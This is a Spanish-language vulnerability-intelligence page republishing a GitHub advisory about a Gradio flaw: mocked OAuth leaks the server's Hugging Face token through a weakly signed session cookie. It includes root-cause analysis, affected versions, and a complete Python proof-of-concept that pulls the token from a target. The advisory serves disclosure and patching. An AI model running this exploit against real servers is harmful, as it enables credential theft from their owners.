llamaCVEVulnerability Intelligence
/
Advisory · GitHub · PyPI · gradio

GHSA-H3H8-3V2V-RG7M

Gradio: Mocked OAuth Login Exposes Server Credentials and Uses Hardcoded Session Secret

Parche disponible
Descargar PNG JSON
CVSS
—
low
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche a -12 d de la divulgación
Exposición263 dDesde la divulgación, 28 feb 2026, 8:00 p. m.
Detección261 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Parche 6.6.0
Monitoreo
Detectada
17 feb 26
1 mar 26
5 jun 26
17 nov 26
19 nov 26
17 feb 26
27 abr 26
5 jul 26
11 sept 26
19 nov 26
FechaFaseEventoDetalle
Remediación Parche 6.6.0 gradio · -12 d desde divulgación
Divulgación Publicada GHSA-H3H8-3V2V-RG7M divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Summary

Gradio applications running outside of Hugging Face Spaces automatically enable "mocked" OAuth routes when OAuth components (e.g. `gr.LoginButton`) are used. When a user visits `/login/huggingface`, the server retrieves its own Hugging Face access token via `huggingface_hub.get_token()` and stores it in the visitor's session cookie. If the application is network-accessible, any remote attacker can trigger this flow to steal the server owner's HF token. The session cookie is signed with a hardcoded secret derived from the string `"-v4"`, making the payload trivially decodable.

Affected Component

`gradio/oauth.py` — functions `attach_oauth()`, `_add_mocked_oauth_routes()`, and `_get_mocked_oauth_info()`.

Root Cause Analysis

1. Real token injected into every visitor's session

When Gradio detects it is not running inside a Hugging Face Space (`get_space() is None`), it registers mocked OAuth routes via `_add_mocked_oauth_routes()` (line 44).

The function `_get_mocked_oauth_info()` (line 307) calls `huggingface_hub.get_token()` to retrieve the real HF access token configured on the host machine (via `HF_TOKEN` environment variable or `huggingface-cli login`). This token is stored in a dict that is then injected into the session of any visitor who hits `/login/callback` (line 183):

request.session["oauth_info"] = mocked_oauth_info

The `mocked_oauth_info` dict contains the real token at key `access_token` (line 329):

return {
    "access_token": token,  # <-- real HF token from server
    ...
}
2. Hardcoded session signing secret

The `SessionMiddleware` secret is derived from `OAUTH_CLIENT_SECRET` (line 50):

session_secret = (OAUTH_CLIENT_SECRET or "") + "-v4"

When running outside a Space, `OAUTH_CLIENT_SECRET` is not set, so the secret becomes the constant string `"-v4"`, hashed with SHA-256. Since this value is public (hardcoded in source code), any attacker can decode the session cookie payload without needing to break the signature.

In practice, Starlette's `SessionMiddleware` stores the session data as plaintext base64 in the cookie — the signature only provides integrity, not confidentiality. The token is readable by simply base64-decoding the cookie payload.

Attack Scenario

Prerequisites
  • A Gradio app using OAuth components (`gr.LoginButton`, `gr.OAuthProfile`, etc.)
  • The app is network-accessible (e.g. `server_name="0.0.0.0"`, `share=True`, port forwarding, etc.)
  • The host machine has a Hugging Face token configured
  • `OAUTH_CLIENT_SECRET` is not set (default outside of Spaces)
Steps
  1. Attacker sends a GET request to `http://<target>:7860/login/huggingface`
  2. The server responds with a 307 redirect to `/login/callback`
  3. The attacker follows the redirect; the server sets a `session` cookie containing the real HF token
  4. The attacker base64-decodes the cookie payload (everything before the first `.`) to extract the `access_token`

Minimal Vulnerable Application

import gradio as gr
from huggingface_hub import login

login(token="hf_xxx...")

def hello(profile: gr.OAuthProfile | None) -> str:
    if profile is None:
        return "Not logged in."
    return f"Hello {profile.name}"

with gr.Blocks() as demo:
    gr.LoginButton()
    gr.Markdown().attach_load_event(hello, None)

demo.launch(server_name="0.0.0.0")

Proof of Concept

#!/usr/bin/env python3
"""
POC: Gradio mocked OAuth leaks server's HF token via session + weak secret
Usage: python exploit.py --target http://victim:7860
       python exploit.py --target http://victim:7860 --proxy http://127.0.0.1:8080
"""
import argparse
import base64
import json
import sys
import requests


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--target", required=True, help="Base URL, e.g. http://host:7860")
    ap.add_argument("--proxy", default=None, help="HTTP proxy, e.g. http://127.0.0.1:8080")
    args = ap.parse_args()

    base = args.target.rstrip("/")
    proxies = {"http": args.proxy, "https": args.proxy} if args.proxy else None

    # 1. Trigger mocked OAuth flow — server injects its own HF token into our session
    s = requests.Session()
    s.get(f"{base}/login/huggingface", allow_redirects=True, verify=False, proxies=proxies)

    cookie = s.cookies.get("session")
    if not cookie:
        print("[-] No session cookie received; target may not be vulnerable.", file=sys.stderr)
        sys.exit(1)

    # 2. Decode the cookie payload (base64 before the first ".")
    payload_b64 = cookie.split(".")[0]
    payload_b64 += "=" * (-len(payload_b64) % 4)  # fix padding
    data = json.loads(base64.b64decode(payload_b64))
    token = data.get("oauth_info", {}).get("access_token")

    if token:
        print(f"[+] Leaked HF token: {token}")
    else:
        print("[-] No access_token found in session.", file=sys.stderr)
        sys.exit(1)


if __name__ == "__main__":
    main()

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida Última
gradio≥ 4.16.0 < 6.6.0
4.16.0
6.6.0
6.32.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
pypigradio
Corregida 6.6.0 -12 d 6.32.0 no afectada
Versiones corregidas6.6.0
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2026-27167
Otrahttps://github.com/gradio-app/gradio/security/advisories/GHSA-h3h8-3v2v-rg7m
Otrahttps://github.com/gradio-app/gradio/commit/dfee0da06d0aa94b3c2684131e7898d5d5c1911e
Otrahttps://github.com/gradio-app/gradio
Otrahttps://github.com/gradio-app/gradio/releases/tag/gradio@6.6.0
Otrahttps://github.com/pypa/advisory-database/tree/main/vulns/gradio/PYSEC-2026-63.yaml

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.